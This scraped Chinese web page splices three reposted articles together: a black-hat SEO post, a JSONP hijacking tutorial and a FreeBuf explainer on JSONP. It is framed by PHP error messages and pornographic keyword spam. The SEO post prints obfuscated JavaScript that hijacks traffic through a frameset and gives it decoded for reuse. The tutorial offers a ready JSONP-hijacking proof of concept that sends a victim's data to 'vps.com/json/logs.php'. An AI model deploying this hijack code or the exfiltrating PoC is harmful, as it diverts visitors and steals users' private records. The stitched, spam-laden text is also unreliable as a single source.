Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 免费一区二区三区四区五区,中文字幕在线视频免费观看,日韩亚洲第一页

          整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          關于劫持:JS劫持手法

          關于劫持:JS劫持手法

          說到黑帽什么的你們就非常的感興趣,那也沒辦法,畢竟黑帽神秘又厲害,一周就有效果。

          有關黑帽的具體操作網上少之又少,基本都標題黨。

          剛好最近碰到一個群友在吹他的快排,就拿他的來做個講解。

          我看了他的網站,就只能看出JS劫持,其他我也不懂,就講講這個吧。

          暫時他有三個網站,指數5000左右的詞都排首頁前5位,大家先看看數據(提醒:拿別人的網站來分析,切勿放上網址及網站信息,斷人財路等于殺人放火)

          短時間內有這樣的數據,50%做了快排。

          這樣看快排的幾率90%了

          這里提醒下各位站長,快排來得快去得也快,這是鐵律。能給你幾個月的快感,百度一更新就難翻身,切記切記。

          但我個人比較向往黑帽,因為厲害啊。

          看了他的網站代碼,里面都有一個奇怪的JS代碼

          window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e']("\x3c\x73\x63\x72\x69\x70\x74 \x6c\x61\x6e\x67\x75\x61\x67\x65 \x3d

          \x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3e");window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e']

          ("\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\"\x3c\x66\x72\x61\x6d\x65\x73\x65\x74 \x72\x6f\x77\x73\x3d\x27\x31\x30\x30\x25\x2c\x2a\x27

          \x66\x72\x61\x6d\x65\x62\x6f\x72\x64\x65\x72\x3d\x27\x4e\x4f\x27 \x62\x6f\x72\x64\x65\x72\x3d\x27\x30\x27

          \x66\x72\x61\x6d\x65\x73\x70\x61\x63\x69\x6e\x67\x3d\x27\x30\x27\x3e\"\x29\x3b");window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e']

          ("\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\"\x3c\x66\x72\x61\x6d\x65 \x6e\x61\x6d\x65\x3d\x27\x6d\x61\x69\x6e\x27

          \x73\x72\x63\x3d\x27\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\u4f60\u7684\u7f51\u5740\x2e\x63\x6f\x6d\x27

          \x73\x63\x72\x6f\x6c\x6c\x69\x6e\x67\x3d\x79\x65\x73\x3e\"\x29\x3b");window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e']

          ('\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x2f\x66\x72\x61\x6d\x65\x73\x65\x74\x3e\x22\x29\x3b');window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]

          ['\x77\x72\x69\x74\x65\x6c\x6e']("\x\x33\x63\x2f\x73\x63\x72\x69\x70\x74\x3e");

          是不是很奇怪

          其實這個是經過加密的JS劫持代碼,經常會出現在被黑的網站里面,劫持流量。

          解密后發現都是指向一個網站,我們再看看那個網站的數據

          能肯定這個估計就是主站了,手法就是通過快排一些網站上排位然后JS劫持流量到主站做排名。

          那肯定你們會問,為什么這么大費周章不直接就去快排主站算了。

          因為主站不能被K,而快排站無所謂,說明一下,百度蜘蛛現在是不能識別JS代碼的,一旦懲罰,主站不會被牽連,

          而且這位朋友手法成熟,快排站與主站做的行業和關鍵詞都一致,一旦跳轉,主站的流量來源都會是行業關鍵詞,想法很好。

          好了,點到為止,希望能給你們一點幫助,最后奉上JS代碼。

          document.writeln("<script language=javascript>");

          document.writeln("document.write(\"<frameset rows='100%,*' frameborder='NO' border='0' framespacing='0'>\");");

          document.writeln("document.write(\"<frame name='main' src='http://www.你的網址.com' scrolling=yes>\");");

          document.writeln('document.write("</frameset>");');

          document.writeln("\x3c/script>");

          熱點資訊

          SEO基本功:站內優化的一些基本手段

          SEO進階必修課:如何創建和管理高質量關鍵詞詞庫

          春風十里,不如你

          初步感受jsonp

          1.1 jsonp

          JSONP 全稱是 JSON with Padding ,是基于 JSON 格式的為解決跨域請求資源而產生的解決方案。他實現的基本原理是利用了 HTML 里 <script></script> 元素標簽,遠程調用 JSON 文件來實現數據傳遞。如要在 a.com 域下獲取存在 b.com 的 JSON 數據( getUsers.JSON )。

          說白了就是一種跨域的json數據傳輸的解決方案。

          1.2 jsonp劫持攻擊

          由于jsonp允許跨域請求,并且允許前端可以在<script></script>中直接解析返回的json形式的跨域數據,如果沒有做到合適的防御,攻擊者就可以做到jsonp劫持攻擊。

          Jsonp劫持攻擊時csrf攻擊的一種。csrf攻擊分csrf讀和csrf寫,jsonp劫持是csrf讀的一種具體攻擊形式。通常攻擊者通過這種形式可以讀取到受害者的敏感數據。

          可以看下wooyun鏡像,搜索jsonp可以查到大量案例。

          來看一個簡單的例子感受一下。

          http://www.anquan.us/static/bugs/wooyun-2013-019969.html

          攻擊者在script標簽中直接解析了跨域傳輸的json敏感數據。alert出來了,當然你也可以發出去做log記錄,總之js都解析到了啥不能干?

          1.3 jsonp防御

          既然是csrf攻擊的一種,還是和csrf防御一樣唄。referer/csrf_token/驗證碼等機制。

          2 本地yy測試

          實踐出真知,動手本地yy測試一下jsonp攻擊流程。

          2.1 理清思路

          測試的思路如下。

          1、js.html ————實際的劫持poc,實戰中放到黑客控制的vps上

          2、api.php ————模擬有漏洞的jsonp接口,在有漏洞的web服務器上

          3、logs.php ————黑客vps記錄劫持記錄的后端頁面

          2.2 環境準備

          api.php

          模擬提供jsonp傳輸的敏感數據的接口。

          接口訪問效果,輸出自己的cookie映射內容。

          用js.html模擬攻擊者執行的js來劫持jsonp

          這里轉發的ip也一樣,實戰是黑客自己的vps。

          logs.php

          2.3 整體走一個

          打開js.html,直接本地打開,模擬的動作是受害者打開我vps上的csrfpoc

          第一個ajax請求,模擬csrf向服務器請求返回賬號敏感信息。

          第二個ajax請求,模擬vps的jspoc成功解析到敏感信息,并且做一個log記錄。(真實環境應該在vps上做log記錄,這里為了方便和漏洞服務器同一個ip)

          服務端記錄。

          2.4 延伸

          如果返回的jsonp的json數組,不是一個json對象。

          可以用下標直接取出。

          3 實戰jsonp劫持

          yy完了,看一個真實例子。

          這個請求包jsonp請求,內容返回的是用戶的投訴記錄,無token,無驗證referer,該請求可以被劫持!

          演示如下:

          在登錄賬號(已經有投訴記錄的)的情況下

          凡訪問加載這個poc的頁面的用戶,他的投訴記錄都會被我直接劫持,并且做記錄

          4 劫持poc

          分享下我的poc,大家遇到簡單的接口可以直接套用了。

          Script直接解析json

          <script>

          function hack(json){

          alert(JSON.stringify(json));//接下來可以做轉發記錄

          }

          </script>

          <script src=”http://127.0.0.1:8081/js.php?callback=hack”></script>

          $.getJSON

          <script type=”text/javascript” src=” http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js “></script>

          <script type=”text/javascript”>

          $.getJSON(“http://vulweb.com/api/getMyFeedbackList?callback=?”, function(json){

          var data=JSON.stringify(json);

          //將data轉發記錄

          $.get(“http://vps.com/json/logs.php?mylogs=”+data,function(res,status){

          alert (‘ok’) ;

          });

          });

          </script>

          5 后記

          本菜雞對前端了解也不深,也是最近接觸的jsonp劫持,文中錯誤難免,歡迎指正。

          常見的csrf數據劫持方法還有很多,例如因為crossadmin.xml配置不對導致的flash跨域劫持。以后遇到可以記錄學習一下。

          關于前端劫持還有很多玩法,本文只是做一個最簡單的jsonp-api數據劫持,烏云鏡像上有很多是高端組合玩法的案例。

          么是 JSON

          • JSON指的是JavaScript對象表示法( ?JavaScript Object Notation)
          • JSON是輕量級的文本數據交換格式
          • JSON是存儲和交換文本信息的語法,類似XML
          • 但JSON比XML更小、更快、更易解析
          • C、Python、C++、Java、PHP、Go等編程語言都支持JSON

          幾乎所有編程語言都有解析JSON的庫,而在JavaScript中,我們可以直接使用JSON,因為JavaScript內置了JSON的解析。

          把任何JavaScript對象變成JSON,就是把這個對象序列化成一個JSON格式的字符串,這樣才能夠通過網絡傳遞給其他計算機。

          JSON 語法規則

          • 數據為 鍵/值 對(key:value)
          • 數據由逗號分隔
          • 方括號保存數組
          • 大括號保存對象
          var Deutsh={
              name: 'De4tsh',
              age: 66,
              height: 2.01,
              grade: null,
              skills: ['JavaScript', 'C', 'C++', 'Python'], // 數組
              like: {"sports":"football","eat":"pizza"}     // 對象
          };
          
          // 將 Deutsh 對象序列化為 JSON 格式字符串
          var deu=JSON.stringify(Deutsh); 
          console.log(deu);
          

          轉換得到的 JSON 格式的數據為:

          {"name":"De4tsh","age":66,"height":2.01,"grade":null,"skills":["JavaScript","C","C++","Python"],"like":{"sports":"football","eat":"pizza"}}
          

          JSONP

          CORS是推薦的方法,而不是JSONRequest。JSONP對于較舊的瀏覽器支持仍然有用,但考慮到安全隱患,除非您別無選擇,否則CORS是更好的選擇

          JSONP是JSON with padding(填充式JSON或參數式JSON)

          簡單來說,JSON的一種”使用模式”,可以讓當前網頁從別的域名(網站)那獲取資料,即跨域讀取數據,而且JSONP算是一種非官方的技術手段 ( 官方的有CORS(之前在 SSTI 注入時提到過) 和postMessage)

          至于為什么跨域訪問別的域名的資源還要借助這種方式,原因在于有著:同源策略的限制:在Web瀏覽器中,允許某個網頁腳本訪問另一個網頁的數據,但前提是這兩個網頁必須有相同的URI、主機名和端口號,一旦兩個網站滿足上述條件,這兩個網站就被認定為具有相同來源。此策略可防止某個網頁上的惡意腳本通過該頁面的文檔對象模型訪問另一網頁上的敏感數據(比如說 cookie )值得注意的是同源策略僅適用于腳本,這意味著某網站可以通過相應的HTML標簽訪問不同來源網站上的圖像、CSS和動態加載腳本等資源。而跨站請求偽造就是利用同源策略不適用于HTML標簽的缺陷。

          JSONP跨域請求的原理

          如上所述,JSONP正是利用了HTML中的<script>標簽中src(該屬性用于規定外部腳本的 URL)屬性不受同源策略約束來跨域獲取數據的

          JSONP會動態的創建<script>標簽,然后通過其中的src屬性來跨域獲取數據

          JSONP 的組成

          JSONP由兩部分組成

          • 回調函數—callback
          • 數據——data

          簡單來說整體流程為:

          當我們訪問一個網站時,若該網站需要請求外部的資源,會通過動態建立一個帶有src屬性的<script>標簽,去訪問對應要請求資源網站的JSONP接口(請求時提供位于本端的回調函數名稱),請求該接口后會返回所提供回調函數的調用,與該函數所需要的數據,而該函數由當前請求端所定義請求的(開發者根據請求資源的類型來定義好該回調函數)

          JSONP 原理實驗

          此處借用 菜鳥教程所提供一個JSONP接口來展示JSONP跨域請求的一個示例

          服務端所提供的 JSONP 接口

          jsonp.php

          <?php
          header('Content-type: application/json');
          //獲取回調函數名
          $jsoncallback=htmlspecialchars($_REQUEST ['jsoncallback']);
          //json數據
          $json_data='["customername1","customername2"]';
          //輸出jsonp格式的數據
          echo $jsoncallback . "(" . $json_data . ")";
          ?>
          

          這個也就是我們要請求的不是同源的數據所在的域

          https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction

          (該接口為菜鳥教程提供,大家若要做實驗可直接使用)

          客戶端

          說是客戶端其實比較容易誤解,說白了就是一個要請求上述域中資源的非同源的里另一個域名,此處我們通過本地起python -m http.server 8080來搭建一個建議的本地網站,這個網站也就是作為用戶的 你/我 要訪問的網站,該網站的HTML為:

          demo.html

          <!DOCTYPE html>
          <html>
          <head>
          <meta charset="utf-8">
          <title>JSONP 實例</title>
          </head>
          <body>
          <div id="divCustomers"></div>
          <script type="text/javascript">
          function callbackFunction(result, methodName)
          {
              var html='<ul>';
              for(var i=0; i < result.length; i++)
              {
                  html +='<li>' + result[i] + '</li>';
              }
              html +='</ul>';
              document.getElementById('divCustomers').innerHTML=html;
          }
          </script>
          <script type="text/javascript" src="<https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction>"></script>
          </body>
          </html>
          

          注意看客戶端的HTML代碼中已生成用于訪問本域之外資源的帶有src屬性的<script>標簽

          用戶訪問

          上述simplehttp的IP:PORT為http://172.16.12.150:8080

          作為用戶的我們訪問該網站后則會顯示:

          http://172.16.12.150:8080/demo.html

          可以看到請求到了位于不同域(https://www.runoob.com)的jsonp.php中的數據["customername1","customername2"],并且該數據還經過了位于http://172.16.12.150:8080HTML 中回調函數callbackFunction的處理后,返回到了用戶 “眼中”


          所以此時的邏輯就是我們訪問了http://172.16.12.150:8080的網站,該網站需要獲取位于https://www.runoob.com中的數據(比如說本例子中的JSON數據),但由于這兩個網站處于不同域,所以無法直接通過javascript請求,所以通過<script>標簽的src屬性請求了https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction這個JSONP接口,至此或得到了JSON的數據,并通過本網站(http://172.16.12.150:8080)的回調函數,對或得到的數據進行了個性化的處理,最終展示給用戶

          其實直接請求該JSONP接口也可以得到數據,但該數據是沒有經過本端回調函數處理的(而且還會被包在一個未定義的回調函數中)

          JSONP 劫持

          由上面的描述就可以很容易的發現,若回調函數被控制,那么便可將請求到的數據通過該函數進行任意的處理

          JSONP 劫持原理

          假設當前有兩個網站:

          • 網站A由攻擊者自建立,包含惡意的JSONP回調函數以及向網站B發送請求的帶有src屬性的<script>標簽
          • 網站B正常網站,用戶需要登錄該網站形式其功能,并且該帶有JSONP支持跨域請求

          所以整體的流程就是:

          1. 首先用戶會登錄網站B,網站B中包含了該登錄的基本信息(用戶ID、用戶名等),并且網站B還存在一個JSONP接口,用戶在訪問該網站的時候,該接口會返回用戶的信息
          2. 此時通過配合其他漏洞或誘導用戶來訪問網站A,此時包含著惡意回調函數以及src屬性的<script>標簽的HTML頁面就會加載到用戶這邊
          3. 標簽被觸發,通過用戶的身份,向網站B的JSONP接口發送請求,便可以請求到B的基本信息的數據
          4. 然后再配合惡意的回調函數,無論是將這些數據發回網站A,還是顯示出來都可以,自由發揮即可

          至此便完成了一個JSONP的劫持

          對 JSONP劫持 的思考

          歸根結底,JSONP 可造成的危害并不是很大,因為其需要滿足的前提條件很多(比如:需要跨域、并且不能有token的校驗),這也就是造成其很難自己一個人 “挑起大梁”,還需要配合其他的漏洞,或是釣魚等

          所以與其尋找挖該漏洞,不如將其用于蜜罐中

          參考文章

          What is JSONP, and why was it created?

          由淺入深理解JSONP并拓展

          201-A20-同源策略及相關漏洞

          JSONP 教程

          淺談Ajax跨域及其JSONP簡單實現

          W3Schools online HTML editor

          申明:本文僅供技術交流,請自覺遵守網絡安全相關法律法規,切勿利用文章內的相關技術從事非法活動,如因此產生的一切不良后果與文章作者無關。

          本文作者:Deutsh,原文來自FreeBuf.COM


          主站蜘蛛池模板: 国产精品伦子一区二区三区| 一区二区三区福利视频免费观看| 中文字幕在线观看一区二区| 亚洲天堂一区在线| 亚洲AV无码一区二区三区在线观看| 91一区二区视频| 国产一区二区福利| 日韩有码一区二区| 日本无卡码免费一区二区三区| 日产亚洲一区二区三区| 国产亚洲一区二区在线观看| 精品视频在线观看一区二区三区| 亚洲sm另类一区二区三区| 亚洲一区二区在线视频| 久久精品国产免费一区| 香蕉在线精品一区二区| 一区二区视频免费观看| 国产一区二区三区在线免费观看| 亚洲国产精品一区二区三区在线观看| 一夲道无码人妻精品一区二区| 无码AV一区二区三区无码| 日韩精品一区二三区中文| 国产一区二区三区免费视频| 国产精品日韩欧美一区二区三区| 无码国产精品一区二区免费式直播 | 一级毛片完整版免费播放一区| 精品国产一区二区三区| 麻豆AV无码精品一区二区 | 国产一区二区三区91| 国产伦一区二区三区高清| 亚洲AV永久无码精品一区二区国产| 亚洲av区一区二区三| 国产成人精品无人区一区| 国产一区二区三区夜色| 亚洲国产综合精品中文第一区| 国产免费无码一区二区| 一区二区三区福利视频免费观看| 亚洲国产情侣一区二区三区 | 国产精久久一区二区三区 | 国产成人精品视频一区| 国产成人高清精品一区二区三区|